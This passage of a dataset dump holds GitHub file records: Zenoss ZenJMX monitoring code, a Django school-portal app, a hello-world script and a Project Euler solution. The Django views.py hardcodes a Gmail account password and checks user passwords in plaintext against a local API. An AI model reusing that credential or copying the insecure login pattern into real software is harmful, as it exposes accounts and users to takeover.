set above)\\nZENJMX_JAR=${LIB_DIR}/zenjmx.jar\\nSTART_ARGS=\\\"--configfile ${CFGFILE} $@\\\"\\nRUN_ARGS=\\\"--configfile ${CFGFILE} $@\\\"\\n\\nJMX_LISTEN_PORT=`awk '/^jmxremoteport/ { print $2; }' ${CFGFILE}`\\nDEFAULT_ZENJMX_JVM_ARGS=\\\"${DEFAULT_ZENJMX_JVM_ARGS} -server ${JVM_MAX_HEAP}\\\"\\nJVM_ARGS=\\\"$DEFAULT_ZENJMX_JVM_ARGS\\\"\\n\\ngeneric $@\\n\"\n },\n {\n \"alpha_fraction\": 0.693489670753479,\n \"alphanum_fraction\": 0.695511519908905,\n \"avg_line_length\": 65.54054260253906,\n \"blob_id\": \"5900f96b3d6909ac38ac7f38e08ec35e30b92eb0\",\n \"content_id\": \"1bbcd2af5c288502bc137ea549e2225c26ce73f2\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2473,\n \"license_type\": \"no_license\",\n \"max_line_length\": 149,\n \"num_lines\": 37,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/interfaces.py\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"###########################################################################\\n#\\n# This program is part of Zenoss Core, an open source monitoring platform.\\n# Copyright (C) 2010, Zenoss Inc.\\n#\\n# This program is free software; you can redistribute it and/or modify it\\n# under the terms of the GNU General Public License version 2 or (at your\\n# option) any later version as published by the Free Software Foundation.\\n#\\n# For complete information please visit: http://www.zenoss.com/oss/\\n#\\n###########################################################################\\nfrom Products.Zuul.interfaces import IRRDDataSourceInfo\\nfrom Products.Zuul.form import schema\\nfrom Products.Zuul.utils import ZuulMessageFactory as _t\\n\\n\\nclass IJMXDataSourceInfo(IRRDDataSourceInfo):\\n # Connection Info\\n jmxPort = schema.TextLine(title=_t(u'Management Port'), group=_t(u'JMX Connection and Metadata Infomation'))\\n jmxProtocol = schema.Choice(title=_t(u'Protocol'), group=_t(u'JMX Connection and Metadata Infomation'),\\n vocabulary='jmxProtocolVocabulary')\\n jmxRawService = schema.TextLine(title=_t(u'Raw Service URL (advanced users only)'), group=_t(u'JMX Connection and Metadata Infomation'))\\n rmiContext = schema.TextLine(title=_t(u'RMI Context (URL context when using RMI Protocol)'), group=_t(u'JMX Connection and Metadata Infomation'))\\n objectName = schema.TextLine(title=_t(u'Object Name'), group=_t(u'JMX Connection and Metadata Infomation'))\\n\\n # Authentication\\n username = schema.TextLine(title=_t(u'Username'), group=_t(u'JMX Remote Authentication Information'))\\n authenticate = schema.TextLine(title=_t(u'Auth Enabled'), group=_t(u'JMX Remote Authentication Information'))\\n password = schema.Password(title=_t(u'Password'), group=_t(u'JMX Remote Authentication Information'))\\n \\n # Operation\\n attributeName = schema.TextLine(title=_t(u'Attribute Name'), group=_t(u'JMX Attribute and Operation Configuration'))\\n attributePath = schema.TextLine(title=_t(u'Attribute Path'), group=_t(u'JMX Attribute and Operation Configuration'))\\n operationParamValues = schema.TextLine(title=_t(u'Parameter Values'), group=_t(u'JMX Attribute and Operation Configuration'))\\n operationName = schema.TextLine(title=_t(u'Operation Name'), group=_t(u'JMX Attribute and Operation Configuration'))\\n operationParamTypes = schema.TextLine(title=_t(u'Parameter Types'), group=_t(u'JMX Attribute and Operation Configuration'))\\n \\n \\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5845539569854736,\n \"alphanum_fraction\": 0.5925433039665222,\n \"avg_line_length\": 31.65217399597168,\n \"blob_id\": \"4fb3aab7c9f002e71ff704eaeb9ed40165c6f6d7\",\n \"content_id\": \"c2d79717c2066b6ca436d41273e63736e40ece97\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 751,\n \"license_type\": \"no_license\",\n \"max_line_length\": 77,\n \"num_lines\": 23,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/daemons/zenjmx\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#! /usr/bin/env bash\\n###########################################################################\\n#\\n# This program is part of Zenoss Core, an open source monitoring platform.\\n# Copyright (C) 2008, Zenoss Inc.\\n#\\n# This program is free software; you can redistribute it and/or modify it\\n# under the terms of the GNU General Public License version 2 as published by\\n# the Free Software Foundation.\\n#\\n# For complete information please visit: http://www.zenoss.com/oss/\\n#\\n###########################################################################\\n\\n. $ZENHOME/bin/zenfunctions\\n\\nMYPATH=`python -c \\\"import os.path; print os.path.realpath('$0')\\\"`\\nTHISDIR=`dirname $MYPATH`\\nPRGHOME=`dirname $THISDIR`\\nPRGNAME=zenjmx.py\\nCFGFILE=$CFGDIR/zenjmx.conf\\n\\ngeneric \\\"$@\\\"\\n\"\n },\n {\n \"alpha_fraction\": 0.6275510191917419,\n \"alphanum_fraction\": 0.634839653968811,\n \"avg_line_length\": 29.488889694213867,\n \"blob_id\": \"82d9fbcfd01630481b9695fc22ca47d1623b6f56\",\n \"content_id\": \"ea4281845e866f837b18193dc0e7ba7695ab5732\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 1372,\n \"license_type\": \"no_license\",\n \"max_line_length\": 75,\n \"num_lines\": 45,\n \"path\": \"/ZenPacks/zenoss/ZenJMX/src/main/java/com/zenoss/zenpacks/zenjmx/call/ConfigurationException.java\",\n \"repo_name\": \"alienth/Zenpacks.zenoss.ZenJMX\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"///////////////////////////////////////////////////////////////////////////\\n//\\n//Copyright 2008 Zenoss Inc \\n//Licensed under the Apache License, Version 2.0 (the \\\"License\\\"); \\n//you may not use this file except in compliance with the License. \\n//You may obtain a copy of the License at \\n// http://www.apache.org/licenses/LICENSE-2.0 \\n//Unless required by applicable law or agreed to in writing, software \\n//distributed under the License is distributed on an \\\"AS IS\\\" BASIS, \\n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \\n//See the License for the specific language governing permissions and \\n//limitations under the License.\\n//\\n///////////////////////////////////////////////////////////////////////////\\npackage com.zenoss.zenpacks.zenjmx.call;\\n\\n\\n/**\\n * <p> Represents a problem that occurred as a result of\\n * configuration. </p>\\n *\\n * <p>$Author: chris $</p>\\n *\\n * @author Christopher Blunck\\n * @version $Revision: 1.6 $\\n */\\npublic class ConfigurationException \\n extends Exception {\\n\\n /**\\n * Creates a ConfigurationException based on a message and an\\n * exception that caused the ConfigurationException.\\n */\\n public ConfigurationException(String message, Throwable t) {\\n super(message, t);\\n }\\n\\n\\n /**\\n * Creates a ConfigurationException given a message\\n */\\n public ConfigurationException(String message) {\\n super(message);\\n }\\n}\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":20,"string":"20"}}},{"rowIdx":2984078,"cells":{"repo_name":{"kind":"string","value":"brandon1994/Educatio"},"repo_url":{"kind":"string","value":"https://github.com/brandon1994/Educatio"},"snapshot_id":{"kind":"string","value":"f09ce417b6f95d645191a4010a40e07d5a4047f6"},"revision_id":{"kind":"string","value":"3b38f553b5161e33978621ee84e258445c532d4e"},"directory_id":{"kind":"string","value":"5b4209a6bb4c25c9a916ce29efe16361be86893e"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-20T01:46:19.343719","string":"2021-01-20T01:46:19.343719"},"revision_date":{"kind":"timestamp","value":"2017-03-17T13:14:03","string":"2017-03-17T13:14:03"},"committer_date":{"kind":"timestamp","value":"2017-03-17T13:14:03","string":"2017-03-17T13:14:03"},"github_id":{"kind":"number","value":83777991,"string":"83,777,991"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6695364117622375,"alphanum_fraction":0.6774834394454956,"avg_line_length":40.97222137451172,"blob_id":"1aad500aa5cb9b0aef3efa254b4df7ea6d403980","content_id":"9e4f9fb441b55462de17c2c3049bd863c40b16d4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1510,"license_type":"no_license","max_line_length":81,"num_lines":36,"path":"/EducatioProject/urls.py","repo_name":"brandon1994/Educatio","src_encoding":"UTF-8","text":"\"\"\"EducatioProject URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/dev/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom EducatioApp import views\n\n\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^index/$', views.index, name='index'),\n url(r'^login/$', views.login, name='login'),\n url(r'^loginError/$', views.loginError, name='loginError'),\n url(r'^notes/$', views.notes, name='notes'),\n url(r'^absences/$', views.absences, name='absences'),\n url(r'^planning/$', views.planning, name='planning'),\n url(r'^contact/$', views.contact, name='contact'),\n url(r'^sendEmailSupport/$', views.sendEmailSupport, name='sendEmailSupport'),\n url(r'^authentificate/$', views.authentificate, name='authentificate'),\n url(r'^emailsend/$', views.emailsend, name='emailsend'),\n url(r'^error/$', views.page_404, name='page_404'),\n url(r'^logout/$', views.logout, name='logout'),\n]"},{"alpha_fraction":0.7731958627700806,"alphanum_fraction":0.7731958627700806,"avg_line_length":18.399999618530273,"blob_id":"1bb89a6cbfaa5498962c3d4037523ee55fb2b745","content_id":"c106e03ffa7d2c18cc0eadc23e8dd5ea3e56c6e4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":97,"license_type":"no_license","max_line_length":35,"num_lines":5,"path":"/EducatioApp/apps.py","repo_name":"brandon1994/Educatio","src_encoding":"UTF-8","text":"from django.apps import AppConfig\n\n\nclass EducatioappConfig(AppConfig):\n name = 'EducatioApp'\n"},{"alpha_fraction":0.6113125681877136,"alphanum_fraction":0.6229151487350464,"avg_line_length":32.071998596191406,"blob_id":"d2f5140de3406c3543d8ede8c05f2a786807e4d6","content_id":"52f465468f2457689a84393d85303649217adb20","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4137,"license_type":"no_license","max_line_length":114,"num_lines":125,"path":"/EducatioApp/views.py","repo_name":"brandon1994/Educatio","src_encoding":"UTF-8","text":"from django.shortcuts import render\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nimport unicodedata\nimport urllib\nimport simplejson\nfrom django.http import HttpResponseRedirect, Http404\n\ndef index(request):\n return render(request, 'index.html')\n\ndef page_404(request):\n return render(request, 'page_404.html')\n\ndef login(request):\n return render(request, 'login.html')\n\ndef loginError(request):\n isLogged = False\n return render(request, 'loginError.html')\n\ndef notes(request):\n #isNoted = False\n\n #response = urllib.urlopen(\"http://127.0.0.1:8080/EducatioAPI/Note/?format=json\")\n #data = simplejson.load(response)\n\n #for i in range(0, 100):\n #try:\n #if request.session.email in data[i]['email']:\n #isNoted = True\n #request.session['notes'] = data[i]['notes']\n #request.session['matiere'] = data[i]['subject']\n #request.session['appreciation'] = data[i]['appreciation']\n #else:\n #isNoted = False\n #except Exception:\n #if isNoted:\n #return render(request, 'notes.html')\n #else:\n #return render(request, 'noNotes.html')\n\n return render(request, 'notes.html')\n\ndef absences(request):\n # je dois charger les absences ici\n return render(request, 'absences.html')\n\ndef planning(request):\n return render(request, 'planning.html')\n\ndef contact(request):\n return render(request, 'contact.html')\n\ndef emailsend(request):\n return render(request, 'emailsend.html')\n\ndef sendEmailSupport(request):\n\n # We normalize String in order to avoid error with special items\n objetnormalized = unicodedata.normalize('NFKD', request.POST['objet']).encode('ascii', 'ignore')\n nomnormalized = unicodedata.normalize('NFKD', request.POST['nom']).encode('ascii', 'ignore')\n prenomnormalized = unicodedata.normalize('NFKD', request.POST['prenom']).encode('ascii', 'ignore')\n promotionnormalized = unicodedata.normalize('NFKD', request.POST['promotion']).encode('ascii', 'ignore')\n messagenormalized = unicodedata.normalize('NFKD', request.POST['message']).encode('ascii', 'ignore')\n\n obj = objetnormalized + ' (' + nomnormalized + ' ' + prenomnormalized + ' promo ' + promotionnormalized + ' )'\n fromaddr = \"devtestbrandon@gmail.com\"\n toaddr = \"caurelbrandon@hotmail.fr\"\n msg = MIMEMultipart()\n\n msg['From'] = fromaddr\n msg['To'] = toaddr\n msg['Subject'] = obj\n\n body = messagenormalized\n msg.attach(MIMEText(body, 'plain'))\n\n server = smtplib.SMTP('smtp.gmail.com', 587)\n server.starttls()\n server.login(fromaddr, \"01011994devtestbrandon\")\n text = msg.as_string()\n server.sendmail(fromaddr, toaddr, text)\n server.quit()\n\n return render(request, 'emailsend.html')\n\ndef authentificate(request):\n email = request.POST['email']\n mdp = request.POST['password']\n\n response = urllib.urlopen(\"http://127.0.0.1:8080/EducatioAPI/login/?format=json\")\n data = simplejson.load(response)\n isLogged = False\n\n for i in range(0, 100):\n try:\n if email == data[i]['email']:\n if mdp == data[i]['password']:\n isLogged = True\n request.session['email'] = data[i]['email']\n request.session['nom'] = data[i]['first_name']\n request.session['prenom'] = data[i]['last_name']\n request.session['promo'] = data[i]['promotion_name']\n else:\n isLogged =False\n except Exception:\n if isLogged:\n return HttpResponseRedirect('/index')\n else:\n return HttpResponseRedirect('/loginError')\n\ndef logout(request):\n del request.session\n #if 'email' in request.session:\n #del request.session.email\n #if 'nom' in request.session:\n #del request.session['nom']\n #if 'prenom' in request.session:\n #del request.session['email']\n #if 'promo' in request.session:\n #del request.session['promo']\n\n return HttpResponseRedirect('/login')\n\n\n\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6695364117622375,\n \"alphanum_fraction\": 0.6774834394454956,\n \"avg_line_length\": 40.97222137451172,\n \"blob_id\": \"1aad500aa5cb9b0aef3efa254b4df7ea6d403980\",\n \"content_id\": \"9e4f9fb441b55462de17c2c3049bd863c40b16d4\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1510,\n \"license_type\": \"no_license\",\n \"max_line_length\": 81,\n \"num_lines\": 36,\n \"path\": \"/EducatioProject/urls.py\",\n \"repo_name\": \"brandon1994/Educatio\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"EducatioProject URL Configuration\\n\\nThe `urlpatterns` list routes URLs to views. For more information please see:\\n https://docs.djangoproject.com/en/dev/topics/http/urls/\\nExamples:\\nFunction views\\n 1. Add an import: from my_app import views\\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\\nClass-based views\\n 1. Add an import: from other_app.views import Home\\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\\nIncluding another URLconf\\n 1. Import the include() function: from django.conf.urls import url, include\\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\\n\\\"\\\"\\\"\\nfrom django.conf.urls import url\\nfrom django.contrib import admin\\nfrom EducatioApp import views\\n\\n\\n\\nurlpatterns = [\\n url(r'^admin/', admin.site.urls),\\n url(r'^index/$', views.index, name='index'),\\n url(r'^login/$', views.login, name='login'),\\n url(r'^loginError/$', views.loginError, name='loginError'),\\n url(r'^notes/$', views.notes, name='notes'),\\n url(r'^absences/$', views.absences, name='absences'),\\n url(r'^planning/$', views.planning, name='planning'),\\n url(r'^contact/$', views.contact, name='contact'),\\n url(r'^sendEmailSupport/$', views.sendEmailSupport, name='sendEmailSupport'),\\n url(r'^authentificate/$', views.authentificate, name='authentificate'),\\n url(r'^emailsend/$', views.emailsend, name='emailsend'),\\n url(r'^error/$', views.page_404, name='page_404'),\\n url(r'^logout/$', views.logout, name='logout'),\\n]\"\n },\n {\n \"alpha_fraction\": 0.7731958627700806,\n \"alphanum_fraction\": 0.7731958627700806,\n \"avg_line_length\": 18.399999618530273,\n \"blob_id\": \"1bb89a6cbfaa5498962c3d4037523ee55fb2b745\",\n \"content_id\": \"c106e03ffa7d2c18cc0eadc23e8dd5ea3e56c6e4\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 97,\n \"license_type\": \"no_license\",\n \"max_line_length\": 35,\n \"num_lines\": 5,\n \"path\": \"/EducatioApp/apps.py\",\n \"repo_name\": \"brandon1994/Educatio\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.apps import AppConfig\\n\\n\\nclass EducatioappConfig(AppConfig):\\n name = 'EducatioApp'\\n\"\n },\n {\n \"alpha_fraction\": 0.6113125681877136,\n \"alphanum_fraction\": 0.6229151487350464,\n \"avg_line_length\": 32.071998596191406,\n \"blob_id\": \"d2f5140de3406c3543d8ede8c05f2a786807e4d6\",\n \"content_id\": \"52f465468f2457689a84393d85303649217adb20\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4137,\n \"license_type\": \"no_license\",\n \"max_line_length\": 114,\n \"num_lines\": 125,\n \"path\": \"/EducatioApp/views.py\",\n \"repo_name\": \"brandon1994/Educatio\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.shortcuts import render\\nimport smtplib\\nfrom email.mime.text import MIMEText\\nfrom email.mime.multipart import MIMEMultipart\\nimport unicodedata\\nimport urllib\\nimport simplejson\\nfrom django.http import HttpResponseRedirect, Http404\\n\\ndef index(request):\\n return render(request, 'index.html')\\n\\ndef page_404(request):\\n return render(request, 'page_404.html')\\n\\ndef login(request):\\n return render(request, 'login.html')\\n\\ndef loginError(request):\\n isLogged = False\\n return render(request, 'loginError.html')\\n\\ndef notes(request):\\n #isNoted = False\\n\\n #response = urllib.urlopen(\\\"http://127.0.0.1:8080/EducatioAPI/Note/?format=json\\\")\\n #data = simplejson.load(response)\\n\\n #for i in range(0, 100):\\n #try:\\n #if request.session.email in data[i]['email']:\\n #isNoted = True\\n #request.session['notes'] = data[i]['notes']\\n #request.session['matiere'] = data[i]['subject']\\n #request.session['appreciation'] = data[i]['appreciation']\\n #else:\\n #isNoted = False\\n #except Exception:\\n #if isNoted:\\n #return render(request, 'notes.html')\\n #else:\\n #return render(request, 'noNotes.html')\\n\\n return render(request, 'notes.html')\\n\\ndef absences(request):\\n # je dois charger les absences ici\\n return render(request, 'absences.html')\\n\\ndef planning(request):\\n return render(request, 'planning.html')\\n\\ndef contact(request):\\n return render(request, 'contact.html')\\n\\ndef emailsend(request):\\n return render(request, 'emailsend.html')\\n\\ndef sendEmailSupport(request):\\n\\n # We normalize String in order to avoid error with special items\\n objetnormalized = unicodedata.normalize('NFKD', request.POST['objet']).encode('ascii', 'ignore')\\n nomnormalized = unicodedata.normalize('NFKD', request.POST['nom']).encode('ascii', 'ignore')\\n prenomnormalized = unicodedata.normalize('NFKD', request.POST['prenom']).encode('ascii', 'ignore')\\n promotionnormalized = unicodedata.normalize('NFKD', request.POST['promotion']).encode('ascii', 'ignore')\\n messagenormalized = unicodedata.normalize('NFKD', request.POST['message']).encode('ascii', 'ignore')\\n\\n obj = objetnormalized + ' (' + nomnormalized + ' ' + prenomnormalized + ' promo ' + promotionnormalized + ' )'\\n fromaddr = \\\"devtestbrandon@gmail.com\\\"\\n toaddr = \\\"caurelbrandon@hotmail.fr\\\"\\n msg = MIMEMultipart()\\n\\n msg['From'] = fromaddr\\n msg['To'] = toaddr\\n msg['Subject'] = obj\\n\\n body = messagenormalized\\n msg.attach(MIMEText(body, 'plain'))\\n\\n server = smtplib.SMTP('smtp.gmail.com', 587)\\n server.starttls()\\n server.login(fromaddr, \\\"01011994devtestbrandon\\\")\\n text = msg.as_string()\\n server.sendmail(fromaddr, toaddr, text)\\n server.quit()\\n\\n return render(request, 'emailsend.html')\\n\\ndef authentificate(request):\\n email = request.POST['email']\\n mdp = request.POST['password']\\n\\n response = urllib.urlopen(\\\"http://127.0.0.1:8080/EducatioAPI/login/?format=json\\\")\\n data = simplejson.load(response)\\n isLogged = False\\n\\n for i in range(0, 100):\\n try:\\n if email == data[i]['email']:\\n if mdp == data[i]['password']:\\n isLogged = True\\n request.session['email'] = data[i]['email']\\n request.session['nom'] = data[i]['first_name']\\n request.session['prenom'] = data[i]['last_name']\\n request.session['promo'] = data[i]['promotion_name']\\n else:\\n isLogged =False\\n except Exception:\\n if isLogged:\\n return HttpResponseRedirect('/index')\\n else:\\n return HttpResponseRedirect('/loginError')\\n\\ndef logout(request):\\n del request.session\\n #if 'email' in request.session:\\n #del request.session.email\\n #if 'nom' in request.session:\\n #del request.session['nom']\\n #if 'prenom' in request.session:\\n #del request.session['email']\\n #if 'promo' in request.session:\\n #del request.session['promo']\\n\\n return HttpResponseRedirect('/login')\\n\\n\\n\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":3,"string":"3"}}},{"rowIdx":2984079,"cells":{"repo_name":{"kind":"string","value":"jwjohnson314/DATA-557-Example"},"repo_url":{"kind":"string","value":"https://github.com/jwjohnson314/DATA-557-Example"},"snapshot_id":{"kind":"string","value":"6b4b28081b2f08f7a31be119b4788e40d949c15e"},"revision_id":{"kind":"string","value":"0d7b7ca8bca5eb385cfc9990f6ec45bb9ebf3176"},"directory_id":{"kind":"string","value":"8942d732f95f2f4de881d4a3f8746a3123d598ff"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2018-01-09T17:59:43.582848","string":"2018-01-09T17:59:43.582848"},"revision_date":{"kind":"timestamp","value":"2017-03-29T15:59:02","string":"2017-03-29T15:59:02"},"committer_date":{"kind":"timestamp","value":"2017-03-29T15:59:02","string":"2017-03-29T15:59:02"},"github_id":{"kind":"number","value":53442350,"string":"53,442,350"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.625,"alphanum_fraction":0.625,"avg_line_length":31,"blob_id":"3803b52e5f85bb8dd76f3ac1abe85b4a1c3111d9","content_id":"834b7b550a0512e3589ef184e6445331822f83e7","detected_licenses":["Unlicense"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":32,"license_type":"permissive","max_line_length":31,"num_lines":1,"path":"/hw.py","repo_name":"jwjohnson314/DATA-557-Example","src_encoding":"UTF-8","text":"print('helloooooo world!!!!!!')\n"},{"alpha_fraction":0.7317073345184326,"alphanum_fraction":0.8048780560493469,"avg_line_length":19.5,"blob_id":"e4309cd166bfffc1948b769bf7c640ab795d4f68","content_id":"e83ace1d07bb81fd9941888a7b4c60eaef744686","detected_licenses":["Unlicense"],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":41,"license_type":"permissive","max_line_length":21,"num_lines":2,"path":"/README.md","repo_name":"jwjohnson314/DATA-557-Example","src_encoding":"UTF-8","text":"# DATA-557-Example\nan example repository\n"}],"string":"[\n {\n \"alpha_fraction\": 0.625,\n \"alphanum_fraction\": 0.625,\n \"avg_line_length\": 31,\n \"blob_id\": \"3803b52e5f85bb8dd76f3ac1abe85b4a1c3111d9\",\n \"content_id\": \"834b7b550a0512e3589ef184e6445331822f83e7\",\n \"detected_licenses\": [\n \"Unlicense\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 32,\n \"license_type\": \"permissive\",\n \"max_line_length\": 31,\n \"num_lines\": 1,\n \"path\": \"/hw.py\",\n \"repo_name\": \"jwjohnson314/DATA-557-Example\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"print('helloooooo world!!!!!!')\\n\"\n },\n {\n \"alpha_fraction\": 0.7317073345184326,\n \"alphanum_fraction\": 0.8048780560493469,\n \"avg_line_length\": 19.5,\n \"blob_id\": \"e4309cd166bfffc1948b769bf7c640ab795d4f68\",\n \"content_id\": \"e83ace1d07bb81fd9941888a7b4c60eaef744686\",\n \"detected_licenses\": [\n \"Unlicense\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 41,\n \"license_type\": \"permissive\",\n \"max_line_length\": 21,\n \"num_lines\": 2,\n \"path\": \"/README.md\",\n \"repo_name\": \"jwjohnson314/DATA-557-Example\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# DATA-557-Example\\nan example repository\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2984080,"cells":{"repo_name":{"kind":"string","value":"functx/projecteuler"},"repo_url":{"kind":"string","value":"https://github.com/functx/projecteuler"},"snapshot_id":{"kind":"string","value":"279080347b5cce1b680d6333c81cda75e959140b"},"revision_id":{"kind":"string","value":"62217abda859e33dffa6b0301836438f3a306dde"},"directory_id":{"kind":"string","value":"305dc4141efaf44eecae52b68fa34bc4de6f2d73"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-01-19T09:30:44.160105","string":"2020-01-19T09:30:44.160105"},"revision_date":{"kind":"timestamp","value":"2013-07-05T12:55:55","string":"2013-07-05T12:55:55"},"committer_date":{"kind":"timestamp","value":"2013-07-05T12:55:55","string":"2013-07-05T12:55:55"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5568181872367859,"alphanum_fraction":0.5909090638160706,"avg_line_length":14.588234901428223,"blob_id":"5c78e3922bda05cc2d91d6ba4cd5b661070ce794","content_id":"e889a6e1f72e7a014c857f52995b5cd0243f5f56","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":264,"license_type":"no_license","max_line_length":31,"num_lines":17,"path":"/python/P021.py","repo_name":"functx/projecteuler","src_encoding":"UTF-8","text":"def d(n):\n\tsum_of_divisors = 0\n\tfor i in xrange(1, n):\n\t\tif n % i == 0:\n\t\t\tsum_of_divisors += i\n\treturn sum_of_divisors\n\ndef verify(n):\n\tif n != d(n) and n == d(d(n)):\n\t\treturn True\n\treturn False\n\nsum = 0\nfor i in xrange(10000):\n\tif verify(i):\n\t\tsum += i\nprint sum"}],"string":"[\n {\n \"alpha_fraction\": 0.5568181872367859,\n \"alphanum_fraction\": 0.5909090638160706,\n \"avg_line_length\": 14.588234901428223,\n \"blob_id\": \"5c78e3922bda05cc2d91d6ba4cd5b661070ce794\",\n \"content_id\": \"e889a6e1f72e7a014c857f52995b5cd0243f5f56\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 264,\n \"license_type\": \"no_license\",\n \"max_line_length\": 31,\n \"num_lines\": 17,\n \"path\": \"/python/P021.py\",\n \"repo_name\": \"functx/projecteuler\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def d(n):\\n\\tsum_of_divisors = 0\\n\\tfor i in xrange(1, n):\\n\\t\\tif n % i == 0:\\n\\t\\t\\tsum_of_divisors += i\\n\\treturn sum_of_divisors\\n\\ndef verify(n):\\n\\tif n != d(n) and n == d(d(n)):\\n\\t\\treturn True\\n\\treturn False\\n\\nsum = 0\\nfor i in xrange(10000):\\n\\tif verify(i):\\n\\t\\tsum += i\\nprint sum\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":1,"string":"1"}}},{"rowIdx":2984081,"cells":{"repo_name":{"kind":"string","value":"waggle-sensor/Cloud-Optical-Flow"},"repo_url":{"kind":"string","value":"https://github.com/waggle-sensor/Cloud-Optical-Flow"},"snapshot_id":{"kind":"string","value":"cdb2d130ed32b1f783b33e64dc481ecb7dc27a23"},"revision_id":{"kind":"string","value":"fea7dc3adf6f41b5713aeb4766f0e4b81328a1ea"},"directory_id":{"kind":"string","value":"d44c0b671d6f8e485dac0cd3480d7efe2a80f770"},"branch_name":{"kind":"string","value":"refs/heads/main"},"visit_date":{"kind":"timestamp","value":"2023-07-03T01:23:57.938936","string":"2023-07-03T01:23:57.938936"},"revision_date":{"kind":"timestamp","value":"2021-08-06T20:27:00","string":"2021-08-06T20:27:00"},"committer_date":{"kind":"timestamp","value":"2021-08-06T20:27:00","string":"2021-08-06T20:27:00"},"github_id":{"kind":"number","value":388893651,"string":"388,893,651"},"star_events_count":{"kind":"number","value":2,"string":"2"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list 